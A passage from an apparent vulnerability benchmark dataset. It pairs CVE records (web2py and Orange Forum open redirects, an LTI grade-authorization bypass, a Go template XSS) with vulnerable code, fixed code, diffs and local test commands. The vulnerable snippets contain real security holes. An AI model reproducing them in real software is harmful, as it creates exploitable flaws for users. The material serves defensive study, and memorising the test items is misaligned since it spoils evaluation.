client_side=settings.client_side)\n\n            else: # use a central authentication server\n                cas = settings.login_form\n                cas_user = cas.get_user()\n\n                if cas_user:\n                    cas_user[passfield] = None\n                    user = self.get_or_create_user(\n                        table_user._filter_fields(cas_user),\n                        settings.update_fields)\n                elif hasattr(cas, 'login_form'):\n                    return cas.login_form()\n                else:\n                    # we need to pass through login again before going on\n                    next = self.url(settings.function, args='login')\n                    redirect(cas.login_url(next),\n                             client_side=settings.client_side)\n\n        # Extra login logic for two-factor authentication\n        #################################################\n        # If the 'user' variable has a value, this means that the first\n        # authentication step was successful (i.e. user provided correct\n        # username and password at the first challenge).\n        # Check if this user is signed up for two-factor authentication\n        # Default rule is that the user must be part of a group that is called\n        # auth.settings.two_factor_authentication_group\n        if user and self.settings.two_factor_authentication_group:\n            role = self.settings.two_factor_authentication_group\n            session.auth_two_factor_enabled = self.has_membership(user_id=user.id, role=role)\n        # challenge\n        if session.auth_two_factor_enabled:\n            form = SQLFORM.factory(\n                Field('authentication_code',\n                      required=True,\n                      comment='This code was emailed to you and is required for login.'),\n                hidden=dict(_next=next),\n                formstyle=settings.formstyle,\n                separator=settings.label_separator\n            )\n            # accepted_form is used by some default web2py code later in the\n            # function that handles running specified functions before redirect\n            # Set it to False until the challenge form is accepted.\n            accepted_form = False\n            # Handle the case when a user has submitted the login/password\n            # form successfully, and the password has been validated, but\n            # the two-factor form has not been displayed or validated yet.\n            if session.auth_two_factor_user is None and user is not None:\n                session.auth_two_factor_user = user # store the validated user and associate with this session\n                session.auth_two_factor = random.randint(100000, 999999)\n                session.auth_two_factor_tries_left = 3 # Allow user to try up to 4 times\n                # TODO: Add some error checking to handle cases where email cannot be sent\n                self.settings.mailer.send(\n                    to=user.email,\n                    subject=\"Two-step Login Authentication Code\",\n                    message=\"Your temporary login code is {0}\".format(session.auth_two_factor))\n            if form.accepts(request, session if self.csrf_prevention else None,\n                            formname='login', dbio=False,\n                            onvalidation=onvalidation,\n                            hideerror=settings.hideerror):\n                accepted_form = True\n                if form.vars['authentication_code'] == str(session.auth_two_factor):\n                    # Handle the case when the two-factor form has been successfully validated\n                    # and the user was previously stored (the current user should be None because\n                    # in this case, the previous username/password login form should not be displayed.\n                    # This will allow the code after the 2-factor authentication block to proceed as\n                    # normal.\n                    if user is None or user == session.auth_two_factor_user:\n                        user = session.auth_two_factor_user\n                    # For security, because the username stored in the\n                    # session somehow does not match the just validated\n                    # user. Should not be possible without session stealing\n                    # which is hard with SSL.\n                    elif user != session.auth_two_factor_user:\n                        user = None\n                    # Either way, the user and code associated with this session should\n                    # be removed. This handles cases where the session login may have\n                    # expired but browser window is open, so the old session key and\n                    # session usernamem will still exist\n                    self._reset_two_factor_auth(session)\n                else:\n                    # TODO: Limit the number of retries allowed.\n                    response.flash = 'Incorrect code. {0} more attempt(s) remaining.'.format(session.auth_two_factor_tries_left)\n                    session.auth_two_factor_tries_left -= 1\n                    return form\n            else:\n                return form\n        # End login logic for two-factor authentication\n\n        # process authenticated users\n        if user:\n            user = Row(table_user._filter_fields(user, id=True))\n            # process authenticated users\n            # user wants to be logged in for longer\n            self.login_user(user)\n            session.auth.expiration = \\\n                request.post_vars.remember_me and \\\n                settings.long_expiration or \\\n                settings.expiration\n            session.auth.remember_me = 'remember_me' in request.post_vars\n            self.log_event(log, user)\n            session.flash = self.messages.logged_in\n\n        # how to continue\n        if settings.login_form == self:\n            if accepted_form:\n                callback(onaccept, form)\n                if next == session._auth_next:\n                    session._auth_next = None\n                next = replace_id(next, form)\n                redirect(next, client_side=settings.client_side)\n\n            table_user[username].requires = old_requires\n            return form\n        elif user:\n            callback(onaccept, None)\n\n        if next == session._auth_next:\n            del session._auth_next\n        redirect(next, client_side=settings.client_side)"}], "fix_func": [{"id": "fix_py_405_1", "commit": "e31a099cb3456fef471886339653430ae59056b0", "file_path": "gluon/tools.py", "start_line": 1540, "end_line": 1550, "snippet": "    def get_vars_next(self):\n        next = current.request.vars._next\n        if isinstance(next, (list, tuple)):\n            next = next[0]\n        if next and self.settings.prevent_open_redirect_attacks:\n            # Prevent an attacker from adding an arbitrary url after the\n            # _next variable in the request.\n            items = next.split('/')\n            if '//' in next and items[2] != current.request.env.http_host:\n                next = None            \n        return next"}, {"id": "fix_py_405_2", "commit": "e31a099cb3456fef471886339653430ae59056b0", "file_path": "gluon/tools.py", "start_line": 2488, "end_line": 2809, "snippet": "    def login(self,\n              next=DEFAULT,\n              onvalidation=DEFAULT,\n              onaccept=DEFAULT,\n              log=DEFAULT,\n              ):\n        \"\"\"\n        Returns a login form\n        \"\"\"\n\n        table_user = self.table_user()\n        settings = self.settings\n        if 'username' in table_user.fields or \\\n                not settings.login_email_validate:\n            tmpvalidator = IS_NOT_EMPTY(error_message=self.messages.is_empty)\n            if not settings.username_case_sensitive:\n                tmpvalidator = [IS_LOWER(), tmpvalidator]\n        else:\n            tmpvalidator = IS_EMAIL(error_message=self.messages.invalid_email)\n            if not settings.email_case_sensitive:\n                tmpvalidator = [IS_LOWER(), tmpvalidator]\n\n        request = current.request\n        response = current.response\n        session = current.session\n\n        passfield = settings.password_field\n        try:\n            table_user[passfield].requires[-1].min_length = 0\n        except:\n            pass\n\n        ### use session for federated login\n        snext = self.get_vars_next()\n\n        if snext:\n            session._auth_next = snext\n        elif session._auth_next:\n            snext = session._auth_next\n        ### pass\n\n        if next is DEFAULT:\n            # important for security\n            next = settings.login_next\n            if callable(next):\n                next = next()\n            user_next = snext\n            if user_next:\n                external = user_next.split('://')\n                if external[0].lower() in ['http', 'https', 'ftp']:\n                    host_next = user_next.split('//', 1)[-1].split('/')[0]\n                    if host_next in settings.cas_domains:\n                        next = user_next\n                else:\n                    next = user_next\n        if onvalidation is DEFAULT:\n            onvalidation = settings.login_onvalidation\n        if onaccept is DEFAULT:\n            onaccept = settings.login_onaccept\n        if log is DEFAULT:\n            log = self.messages['login_log']\n\n        onfail = settings.login_onfail\n\n        user = None  # default\n\n\n        #Setup the default field used for the form\n        multi_login = False\n        if self.settings.login_userfield:\n            username = self.settings.login_userfield\n        else:\n            if 'username' in table_user.fields:\n                username = 'username'\n            else:\n                username = 'email'\n            if self.settings.multi_login:\n                multi_login = True\n        old_requires = table_user[username].requires\n        table_user[username].requires = tmpvalidator\n\n        # If two-factor authentication is enabled, and the maximum\n        # number of tries allowed is used up, reset the session to\n        # pre-login state with two-factor auth\n        if session.auth_two_factor_enabled and session.auth_two_factor_tries_left < 1:\n            # Exceeded maximum allowed tries for this code. Require user to enter\n            # username and password again.\n            user = None\n            accepted_form = False\n            self._reset_two_factor_auth(session)\n            # Redirect to the default 'next' page without logging\n            # in. If that page requires login, user will be redirected\n            # back to the main login form\n            redirect(next, client_side=settings.client_side)\n\n        # Before showing the default login form, check whether\n        # we are already on the second step of two-step authentication.\n        # If we are, then skip this login form and use the form for the\n        # second challenge instead.\n        # Note to devs: The code inside the if-block is unchanged from the\n        # previous version of this file, other than for indentation inside\n        # to put it inside the if-block\n        if session.auth_two_factor_user is None:\n\n            if settings.remember_me_form:\n                extra_fields = [\n                    Field('remember_me', 'boolean', default=False,\n                          label = self.messages.label_remember_me)]\n            else:\n                extra_fields = []\n\n            # do we use our own login form, or from a central source?\n            if settings.login_form == self:\n                form = SQLFORM(\n                    table_user,\n                    fields=[username, passfield],\n                    hidden=dict(_next=next),\n                    showid=settings.showid,\n                    submit_button=self.messages.login_button,\n                    delete_label=self.messages.delete_label,\n                    formstyle=settings.formstyle,\n                    separator=settings.label_separator,\n                    extra_fields = extra_fields,\n                )\n\n\n                captcha = settings.login_captcha or \\\n                    (settings.login_captcha != False and settings.captcha)\n                if captcha:\n                    addrow(form, captcha.label, captcha, captcha.comment,\n                           settings.formstyle, 'captcha__row')\n                accepted_form = False\n\n                if form.accepts(request, session if self.csrf_prevention else None,\n                                formname='login', dbio=False,\n                                onvalidation=onvalidation,\n                                hideerror=settings.hideerror):\n\n                    accepted_form = True\n                    # check for username in db\n                    entered_username = form.vars[username]\n                    if multi_login and '@' in entered_username:\n                        # if '@' in username check for email, not username\n                        user = table_user(email = entered_username)\n                    else:\n                        user = table_user(**{username: entered_username})\n                    if user:\n                        # user in db, check if registration pending or disabled\n                        temp_user = user\n                        if temp_user.registration_key == 'pending':\n                            response.flash = self.messages.registration_pending\n                            return form\n                        elif temp_user.registration_key in ('disabled', 'blocked'):\n                            response.flash = self.messages.login_disabled\n                            return form\n                        elif (not temp_user.registration_key is None\n                              and temp_user.registration_key.strip()):\n                            response.flash = \\\n                                self.messages.registration_verifying\n                            return form\n                        # try alternate logins 1st as these have the\n                        # current version of the password\n                        user = None\n                        for login_method in settings.login_methods:\n                            if login_method != self and \\\n                                    login_method(request.vars[username],\n                                                 request.vars[passfield]):\n                                if not self in settings.login_methods:\n                                    # do not store password in db\n                                    form.vars[passfield] = None\n                                user = self.get_or_create_user(\n                                    form.vars, settings.update_fields)\n                                break\n                        if not user:\n                            # alternates have failed, maybe because service inaccessible\n                            if settings.login_methods[0] == self:\n                                # try logging in locally using cached credentials\n                                if form.vars.get(passfield, '') == temp_user[passfield]:\n                                    # success\n                                    user = temp_user\n                    else:\n                        # user not in db\n                        if not settings.alternate_requires_registration:\n                            # we're allowed to auto-register users from external systems\n                            for login_method in settings.login_methods:\n                                if login_method != self and \\\n                                        login_method(request.vars[username],\n                                                     request.vars[passfield]):\n                                    if not self in settings.login_methods:\n                                        # do not store password in db\n                                        form.vars[passfield] = None\n                                    user = self.get_or_create_user(\n                                        form.vars, settings.update_fields)\n                                    break\n                    if not user:\n                        self.log_event(self.messages['login_failed_log'],\n                                       request.post_vars)\n                        # invalid login\n                        session.flash = self.messages.invalid_login\n                        callback(onfail, None)\n                        redirect(\n                            self.url(args=request.args, vars=request.get_vars),\n                            client_side=settings.client_side)\n\n            else: # use a central authentication server\n                cas = settings.login_form\n                cas_user = cas.get_user()\n\n                if cas_user:\n                    cas_user[passfield] = None\n                    user = self.get_or_create_user(\n                        table_user._filter_fields(cas_user),\n                        settings.update_fields)\n                elif hasattr(cas, 'login_form'):\n                    return cas.login_form()\n                else:\n                    # we need to pass through login again before going on\n                    next = self.url(settings.function, args='login')\n                    redirect(cas.login_url(next),\n                             client_side=settings.client_side)\n\n        # Extra login logic for two-factor authentication\n        #################################################\n        # If the 'user' variable has a value, this means that the first\n        # authentication step was successful (i.e. user provided correct\n        # username and password at the first challenge).\n        # Check if this user is signed up for two-factor authentication\n        # Default rule is that the user must be part of a group that is called\n        # auth.settings.two_factor_authentication_group\n        if user and self.settings.two_factor_authentication_group:\n            role = self.settings.two_factor_authentication_group\n            session.auth_two_factor_enabled = self.has_membership(user_id=user.id, role=role)\n        # challenge\n        if session.auth_two_factor_enabled:\n            form = SQLFORM.factory(\n                Field('authentication_code',\n                      required=True,\n                      comment='This code was emailed to you and is required for login.'),\n                hidden=dict(_next=next),\n                formstyle=settings.formstyle,\n                separator=settings.label_separator\n            )\n            # accepted_form is used by some default web2py code later in the\n            # function that handles running specified functions before redirect\n            # Set it to False until the challenge form is accepted.\n            accepted_form = False\n            # Handle the case when a user has submitted the login/password\n            # form successfully, and the password has been validated, but\n            # the two-factor form has not been displayed or validated yet.\n            if session.auth_two_factor_user is None and user is not None:\n                session.auth_two_factor_user = user # store the validated user and associate with this session\n                session.auth_two_factor = random.randint(100000, 999999)\n                session.auth_two_factor_tries_left = 3 # Allow user to try up to 4 times\n                # TODO: Add some error checking to handle cases where email cannot be sent\n                self.settings.mailer.send(\n                    to=user.email,\n                    subject=\"Two-step Login Authentication Code\",\n                    message=\"Your temporary login code is {0}\".format(session.auth_two_factor))\n            if form.accepts(request, session if self.csrf_prevention else None,\n                            formname='login', dbio=False,\n                            onvalidation=onvalidation,\n                            hideerror=settings.hideerror):\n                accepted_form = True\n                if form.vars['authentication_code'] == str(session.auth_two_factor):\n                    # Handle the case when the two-factor form has been successfully validated\n                    # and the user was previously stored (the current user should be None because\n                    # in this case, the previous username/password login form should not be displayed.\n                    # This will allow the code after the 2-factor authentication block to proceed as\n                    # normal.\n                    if user is None or user == session.auth_two_factor_user:\n                        user = session.auth_two_factor_user\n                    # For security, because the username stored in the\n                    # session somehow does not match the just validated\n                    # user. Should not be possible without session stealing\n                    # which is hard with SSL.\n                    elif user != session.auth_two_factor_user:\n                        user = None\n                    # Either way, the user and code associated with this session should\n                    # be removed. This handles cases where the session login may have\n                    # expired but browser window is open, so the old session key and\n                    # session usernamem will still exist\n                    self._reset_two_factor_auth(session)\n                else:\n                    # TODO: Limit the number of retries allowed.\n                    response.flash = 'Incorrect code. {0} more attempt(s) remaining.'.format(session.auth_two_factor_tries_left)\n                    session.auth_two_factor_tries_left -= 1\n                    return form\n            else:\n                return form\n        # End login logic for two-factor authentication\n\n        # process authenticated users\n        if user:\n            user = Row(table_user._filter_fields(user, id=True))\n            # process authenticated users\n            # user wants to be logged in for longer\n            self.login_user(user)\n            session.auth.expiration = \\\n                request.post_vars.remember_me and \\\n                settings.long_expiration or \\\n                settings.expiration\n            session.auth.remember_me = 'remember_me' in request.post_vars\n            self.log_event(log, user)\n            session.flash = self.messages.logged_in\n\n        # how to continue\n        if settings.login_form == self:\n            if accepted_form:\n                callback(onaccept, form)\n                if next == session._auth_next:\n                    session._auth_next = None\n                next = replace_id(next, form)\n                redirect(next, client_side=settings.client_side)\n\n            table_user[username].requires = old_requires\n            return form\n        elif user:\n            callback(onaccept, None)\n\n        if next == session._auth_next:\n            del session._auth_next\n        redirect(next, client_side=settings.client_side)"}], "vul_patch": "--- a/gluon/tools.py\n+++ b/gluon/tools.py\n@@ -2,4 +2,10 @@\n         next = current.request.vars._next\n         if isinstance(next, (list, tuple)):\n             next = next[0]\n+        if next and self.settings.prevent_open_redirect_attacks:\n+            # Prevent an attacker from adding an arbitrary url after the\n+            # _next variable in the request.\n+            items = next.split('/')\n+            if '//' in next and items[2] != current.request.env.http_host:\n+                next = None            \n         return next\n\n--- a/gluon/tools.py\n+++ b/gluon/tools.py\n@@ -32,10 +32,6 @@\n \n         ### use session for federated login\n         snext = self.get_vars_next()\n-        if snext and self.settings.prevent_open_redirect_attacks:\n-            items = snext.split('/')\n-            if '//' in snext and items[2] != request.env.http_host:\n-                snext = None\n \n         if snext:\n             session._auth_next = snext\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-23611", "cve_description": "LTI Consumer XBlock implements the consumer side of the LTI specification enabling integration of third-party LTI provider tools. Versions 7.0.0 and above, prior to 7.2.2, are vulnerable to Missing Authorization.  Any LTI tool that is integrated with on the Open edX platform can post a grade back for any LTI XBlock so long as it knows or can guess the block location for that XBlock. An LTI tool submits scores to the edX platform for line items. The code that uploads that score to the LMS grade tables determines which XBlock to upload the grades for by reading the resource_link_id field of the associated line item. The LTI tool may submit any value for the resource_link_id field, allowing a malicious LTI tool to submit scores for any LTI XBlock on the platform. The impact is a loss of integrity for LTI XBlock grades. This issue is patched in 7.2.2. No workarounds exist.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/openedx/xblock-lti-consumer", "patch_url": ["https://github.com/openedx/xblock-lti-consumer/commit/252f94bd182cd0962af9251015930cb55ec515d7"], "programing_language": "Python", "vul_func": [{"id": "vul_py_126_1", "commit": "8da48aa", "file_path": "lti_consumer/signals/signals.py", "start_line": 17, "end_line": 64, "snippet": "def publish_grade_on_score_update(sender, instance, **kwargs):  # pylint: disable=unused-argument\n    \"\"\"\n    Publish grade to xblock whenever score saved/updated and its grading_progress is set to FullyGraded.\n\n    This method DOES NOT WORK on Studio, since it relies on APIs only available and configured\n    in the LMS. Trying to trigger this signal from Studio (from the Django-admin interface, for example)\n    throw an exception.\n    \"\"\"\n    # Before starting to publish grades to the LMS, check that:\n    # 1. The grade being submitted in the final one - `FullyGraded`\n    # 2. This LineItem is linked to a LMS grade - the `LtiResouceLinkId` field is set\n    # 3. There's a valid grade in this score - `scoreGiven` is set\n    if instance.grading_progress == LtiAgsScore.FULLY_GRADED \\\n            and instance.line_item.resource_link_id \\\n            and instance.score_given:\n        try:\n            # Load block using LMS APIs and check if the block is graded and still accept grades.\n            block = compat.load_block_as_user(instance.line_item.resource_link_id)\n            if block.has_score and (not block.is_past_due() or block.accept_grades_past_due):\n                # Map external ID to platform user\n                user = compat.get_user_from_external_user_id(instance.user_id)\n\n                # The LTI AGS spec allow tools to send grades higher than score maximum, so\n                # we have to cap the score sent to the gradebook to the maximum allowed value.\n                # Also, this is an normalized score ranging from 0 to 1.\n                score = min(instance.score_given, instance.score_maximum) / instance.score_maximum\n\n                # Set module score using XBlock custom method to do so.\n                # This saves the score on both the XBlock's K/V store as well as in\n                # the LMS database.\n                log.info(\n                    \"Publishing LTI grade from block %s to LMS. User: %s (score: %s)\",\n                    block.scope_ids.usage_id,\n                    user,\n                    score,\n                )\n                block.set_user_module_score(user, score, block.max_score(), instance.comment)\n\n        # This is a catch all exception to catch and log any issues related to loading the block\n        # from the modulestore and other LMS API calls\n        except Exception as exc:\n            log.exception(\n                \"Error while publishing score %r to block %s to LMS: %s\",\n                instance,\n                instance.line_item.resource_link_id,\n                exc,\n            )\n            raise exc"}], "fix_func": [{"id": "fix_py_126_1", "commit": "252f94b", "file_path": "lti_consumer/signals/signals.py", "start_line": 17, "end_line": 82, "snippet": "def publish_grade_on_score_update(sender, instance, **kwargs):  # pylint: disable=unused-argument\n    \"\"\"\n    Publish grade to xblock whenever score saved/updated and its grading_progress is set to FullyGraded.\n\n    This method DOES NOT WORK on Studio, since it relies on APIs only available and configured\n    in the LMS. Trying to trigger this signal from Studio (from the Django-admin interface, for example)\n    throw an exception.\n    \"\"\"\n    line_item = instance.line_item\n    lti_config = line_item.lti_configuration\n\n    # Only save score if the `line_item.resource_link_id` is the same as\n    # `lti_configuration.location` to prevent LTI tools to alter grades they don't\n    # have permissions to.\n    # TODO: This security mechanism will need to be reworked once we enable LTI 1.3\n    # reusability to allow one configuration to save scores on multiple placements,\n    # but still locking down access to the items that are using the LTI configurtion.\n    if line_item.resource_link_id != lti_config.location:\n        log.warning(\n            \"LTI tool tried publishing score %r to block %s (outside allowed scope of: %s).\",\n            instance,\n            line_item.resource_link_id,\n            lti_config.location,\n        )\n        return\n\n    # Before starting to publish grades to the LMS, check that:\n    # 1. The grade being submitted in the final one - `FullyGraded`\n    # 2. This LineItem is linked to a LMS grade - the `LtiResouceLinkId` field is set\n    # 3. There's a valid grade in this score - `scoreGiven` is set\n    if instance.grading_progress == LtiAgsScore.FULLY_GRADED \\\n            and line_item.resource_link_id \\\n            and instance.score_given:\n        try:\n            # Load block using LMS APIs and check if the block is graded and still accept grades.\n            block = compat.load_block_as_user(line_item.resource_link_id)\n            if block.has_score and (not block.is_past_due() or block.accept_grades_past_due):\n                # Map external ID to platform user\n                user = compat.get_user_from_external_user_id(instance.user_id)\n\n                # The LTI AGS spec allow tools to send grades higher than score maximum, so\n                # we have to cap the score sent to the gradebook to the maximum allowed value.\n                # Also, this is an normalized score ranging from 0 to 1.\n                score = min(instance.score_given, instance.score_maximum) / instance.score_maximum\n\n                # Set module score using XBlock custom method to do so.\n                # This saves the score on both the XBlock's K/V store as well as in\n                # the LMS database.\n                log.info(\n                    \"Publishing LTI grade from block %s to LMS. User: %s (score: %s)\",\n                    block.scope_ids.usage_id,\n                    user,\n                    score,\n                )\n                block.set_user_module_score(user, score, block.max_score(), instance.comment)\n\n        # This is a catch all exception to catch and log any issues related to loading the block\n        # from the modulestore and other LMS API calls\n        except Exception as exc:\n            log.exception(\n                \"Error while publishing score %r to block %s to LMS: %s\",\n                instance,\n                line_item.resource_link_id,\n                exc,\n            )\n            raise exc"}], "vul_patch": "--- a/lti_consumer/signals/signals.py\n+++ b/lti_consumer/signals/signals.py\n@@ -6,16 +6,34 @@\n     in the LMS. Trying to trigger this signal from Studio (from the Django-admin interface, for example)\n     throw an exception.\n     \"\"\"\n+    line_item = instance.line_item\n+    lti_config = line_item.lti_configuration\n+\n+    # Only save score if the `line_item.resource_link_id` is the same as\n+    # `lti_configuration.location` to prevent LTI tools to alter grades they don't\n+    # have permissions to.\n+    # TODO: This security mechanism will need to be reworked once we enable LTI 1.3\n+    # reusability to allow one configuration to save scores on multiple placements,\n+    # but still locking down access to the items that are using the LTI configurtion.\n+    if line_item.resource_link_id != lti_config.location:\n+        log.warning(\n+            \"LTI tool tried publishing score %r to block %s (outside allowed scope of: %s).\",\n+            instance,\n+            line_item.resource_link_id,\n+            lti_config.location,\n+        )\n+        return\n+\n     # Before starting to publish grades to the LMS, check that:\n     # 1. The grade being submitted in the final one - `FullyGraded`\n     # 2. This LineItem is linked to a LMS grade - the `LtiResouceLinkId` field is set\n     # 3. There's a valid grade in this score - `scoreGiven` is set\n     if instance.grading_progress == LtiAgsScore.FULLY_GRADED \\\n-            and instance.line_item.resource_link_id \\\n+            and line_item.resource_link_id \\\n             and instance.score_given:\n         try:\n             # Load block using LMS APIs and check if the block is graded and still accept grades.\n-            block = compat.load_block_as_user(instance.line_item.resource_link_id)\n+            block = compat.load_block_as_user(line_item.resource_link_id)\n             if block.has_score and (not block.is_past_due() or block.accept_grades_past_due):\n                 # Map external ID to platform user\n                 user = compat.get_user_from_external_user_id(instance.user_id)\n@@ -42,7 +60,7 @@\n             log.exception(\n                 \"Error while publishing score %r to block %s to LMS: %s\",\n                 instance,\n-                instance.line_item.resource_link_id,\n+                line_item.resource_link_id,\n                 exc,\n             )\n             raise exc\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-22199", "cve_description": "This package provides universal methods to use multiple template engines with the Fiber web framework using the Views interface. This vulnerability specifically impacts web applications that render user-supplied data through this template engine, potentially leading to the execution of malicious scripts in users' browsers when visiting affected web pages. The vulnerability has been addressed, the template engine now defaults to having autoescape set to `true`, effectively mitigating the risk of XSS attacks.\n", "cwe_info": {"CWE-116": {"name": "Improper Encoding or Escaping of Output", "description": "The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved."}}, "repo": "https://github.com/gofiber/template", "patch_url": ["https://github.com/gofiber/template/commit/28cff3ac4d4c117ab25b5396954676d624b6cb46"], "programing_language": "Go", "vul_func": [{"id": "vul_go_79_1", "commit": "fd5a1ab847ebbf537447561827f310ba70fd0998", "file_path": "django/django.go", "start_line": 211, "end_line": 245, "snippet": "func (e *Engine) Render(out io.Writer, name string, binding interface{}, layout ...string) error {\n\tif !e.Loaded || e.ShouldReload {\n\t\tif e.ShouldReload {\n\t\t\te.Loaded = false\n\t\t}\n\t\tif err := e.Load(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\ttmpl, ok := e.Templates[name]\n\tif !ok {\n\t\treturn fmt.Errorf(\"template %s does not exist\", name)\n\t}\n\n\tbind := getPongoBinding(binding)\n\tparsed, err := tmpl.Execute(bind)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(layout) > 0 && layout[0] != \"\" {\n\t\tif bind == nil {\n\t\t\tbind = make(map[string]interface{}, 1)\n\t\t}\n\t\tbind[e.LayoutName] = parsed\n\t\tlay := e.Templates[layout[0]]\n\t\tif lay == nil {\n\t\t\treturn fmt.Errorf(\"LayoutName %s does not exist\", layout[0])\n\t\t}\n\t\treturn lay.ExecuteWriter(bind, out)\n\t}\n\tif _, err = out.Write([]byte(parsed)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_79_1", "commit": "28cff3ac4d4c117ab25b5396954676d624b6cb46", "file_path": "django/django.go", "start_line": 222, "end_line": 265, "snippet": "func (e *Engine) Render(out io.Writer, name string, binding interface{}, layout ...string) error {\n\tif !e.Loaded || e.ShouldReload {\n\t\tif e.ShouldReload {\n\t\t\te.Loaded = false\n\t\t}\n\t\tif err := e.Load(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\ttmpl, ok := e.Templates[name]\n\tif !ok {\n\t\treturn fmt.Errorf(\"template %s does not exist\", name)\n\t}\n\n\tbind := getPongoBinding(binding)\n\tparsed, err := tmpl.Execute(bind)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(layout) > 0 && layout[0] != \"\" {\n\t\tif bind == nil {\n\t\t\tbind = make(map[string]interface{}, 1)\n\t\t}\n\n\t\t// Workaround for custom {{embed}} tag\n\t\t// Mark the `embed` variable as safe\n\t\t// it has already been escaped above\n\t\t// e.LayoutName will be 'embed'\n\t\tsafeEmbed := pongo2.AsSafeValue(parsed)\n\n\t\t// Add the safe value to the binding map\n\t\tbind[e.LayoutName] = safeEmbed\n\n\t\tlay := e.Templates[layout[0]]\n\t\tif lay == nil {\n\t\t\treturn fmt.Errorf(\"LayoutName %s does not exist\", layout[0])\n\t\t}\n\t\treturn lay.ExecuteWriter(bind, out)\n\t}\n\tif _, err = out.Write([]byte(parsed)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}"}], "vul_patch": "--- a/django/django.go\n+++ b/django/django.go\n@@ -21,7 +21,16 @@\n \t\tif bind == nil {\n \t\t\tbind = make(map[string]interface{}, 1)\n \t\t}\n-\t\tbind[e.LayoutName] = parsed\n+\n+\t\t// Workaround for custom {{embed}} tag\n+\t\t// Mark the `embed` variable as safe\n+\t\t// it has already been escaped above\n+\t\t// e.LayoutName will be 'embed'\n+\t\tsafeEmbed := pongo2.AsSafeValue(parsed)\n+\n+\t\t// Add the safe value to the binding map\n+\t\tbind[e.LayoutName] = safeEmbed\n+\n \t\tlay := e.Templates[layout[0]]\n \t\tif lay == nil {\n \t\t\treturn fmt.Errorf(\"LayoutName %s does not exist\", layout[0])\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-22199:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/template\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd django && go test -timeout 30s -run ^Test_XSS$\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-22199:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/template\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd django && go test -timeout 30s -run '^(Test_FileSystem|Test_GetPongoBinding|Test_Invalid_Layout|Test_AddFunc|Test_Layout|Test_PathForwardingFileSystem|Test_Invalid_Identifiers|Test_AddFuncMap|Test_Empty_Layout|Test_Reload|Test_IsValidKey|Test_Render|Test_Invalid_Template)$' "}
{"cve_id": "CVE-2018-14474", "cve_description": "views/auth.go in Orange Forum 1.4.0 allows Open Redirection via the next parameter to /login or /signup.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/s-gv/orangeforum", "patch_url": ["https://github.com/s-gv/orangeforum/commit/1f6313cb3a1e755880fc1354f3e1efc4dd2dd4aa"], "programing_language": "Go", "vul_func": [{"id": "vul_go_91_1", "commit": "3f73f96", "file_path": "views/auth.go", "start_line": "21", "end_line": "52", "snippet": "var LoginHandler = UA(func(w http.ResponseWriter, r *http.Request, sess Session) {\n\tredirectURL, err := url.QueryUnescape(r.FormValue(\"next\"))\n\tif redirectURL == \"\" || err != nil {\n\t\tredirectURL = \"/\"\n\t}\n\tif sess.IsUserValid() {\n\t\thttp.Redirect(w, r, redirectURL, http.StatusSeeOther)\n\t\treturn\n\t}\n\n\tif r.Method == \"POST\" {\n\t\tuserName := r.PostFormValue(\"username\")\n\t\tpasswd := r.PostFormValue(\"passwd\")\n\t\tif len(userName) > 200 || len(passwd) > 200 {\n\t\t\tfmt.Fprint(w, \"username / password too long.\")\n\t\t\treturn\n\t\t}\n\t\tif err = sess.Authenticate(userName, passwd); err == nil {\n\t\t\thttp.Redirect(w, r, redirectURL, http.StatusSeeOther)\n\t\t\treturn\n\t\t} else {\n\t\t\tsess.SetFlashMsg(err.Error())\n\t\t\thttp.Redirect(w, r, \"/login?next=\"+redirectURL, http.StatusSeeOther)\n\t\t\treturn\n\t\t}\n\t}\n\ttemplates.Render(w, \"login.html\", map[string]interface{}{\n\t\t\"Common\":   readCommonData(r, sess),\n\t\t\"next\":     template.URL(url.QueryEscape(redirectURL)),\n\t\t\"LoginMsg\": models.Config(models.LoginMsg),\n\t})\n})"}, {"id": "vul_go_91_2", "commit": "3f73f96", "file_path": "views/auth.go", "start_line": "60", "end_line": "132", "snippet": "var SignupHandler = UA(func(w http.ResponseWriter, r *http.Request, sess Session) {\n\tredirectURL, err := url.QueryUnescape(r.FormValue(\"next\"))\n\tif redirectURL == \"\" || err != nil {\n\t\tredirectURL = \"/\"\n\t}\n\tif sess.IsUserValid() && !sess.IsUserSuperAdmin() {\n\t\thttp.Redirect(w, r, redirectURL, http.StatusSeeOther)\n\t\treturn\n\t}\n\n\tisSignupDisabled := models.Config(models.SignupDisabled) != \"0\"\n\n\tif r.Method == \"POST\" {\n\t\tuserName := strings.TrimSpace(r.PostFormValue(\"username\"))\n\t\tpasswd := r.PostFormValue(\"passwd\")\n\t\tpasswdConfirm := r.PostFormValue(\"confirm\")\n\t\temail := strings.TrimSpace(r.PostFormValue(\"email\"))\n\t\tif len(userName) < 2 || len(userName) > 32 {\n\t\t\tsess.SetFlashMsg(\"Username should have 2-32 characters.\")\n\t\t\thttp.Redirect(w, r, \"/signup\", http.StatusSeeOther)\n\t\t\treturn\n\t\t}\n\t\tif censored := censor(userName); censored != userName {\n\t\t\tsess.SetFlashMsg(\"Fix username: \" + 